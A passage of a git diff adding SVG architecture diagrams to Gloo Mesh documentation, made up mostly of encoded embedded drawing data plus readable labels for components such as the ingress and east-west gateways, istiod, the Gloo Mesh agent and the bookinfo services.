dnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/platform/2-4/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3